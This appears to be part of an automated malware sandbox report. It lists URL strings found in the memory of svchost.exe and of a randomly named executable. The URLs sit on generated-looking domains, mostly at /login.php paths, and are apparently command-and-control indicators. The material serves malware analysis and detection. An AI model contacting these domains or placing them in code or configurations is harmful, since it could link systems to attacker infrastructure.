    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galykew.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1838364731.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1839816326.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1841035752.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844516038.000000000089C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galynuh.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128433067.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galypyh.com/login.php
    Source: svchost.exe, 00000001.00000003.1687570808.0000000008A2A000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2336863636.0000000008DC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://galyqaz.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyros.com/http://lyvysur.com/p
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyros.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyvas.com/H
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyzeb.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyzeb.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganycuh.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganydiw.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganydiw.com/http://lykylan.com/http://vopymyc.com/http://qebysul.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganydiw.com/http://pupymyp.com/H
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2138184400.0000000004C3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganydiw.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119699191.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyfes.com/
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128433067.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyfes.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2173654266.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2172895145.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyhab.com/
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyhuh.com/H
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2099585241.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1838364731.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1839816326.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1856209919.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1841035752.0000000008A21000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganykaz.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganynos.com/login.php
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A89000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2336767376.0000000008D6D000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://ganypih.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914314721.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914446841.00000000008A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyqyh.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968517351.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyrew.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909280938.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1923266541.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906894619.000000000089B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyriz.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyvoz.com/http://vowymyk.com/http://purymuq.com/http://vowymyk.com/http://qexysig.com/http:
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyvoz.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyzuz.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqycow.com/
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786378.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqycow.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyfah.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyhuz.com/login.php
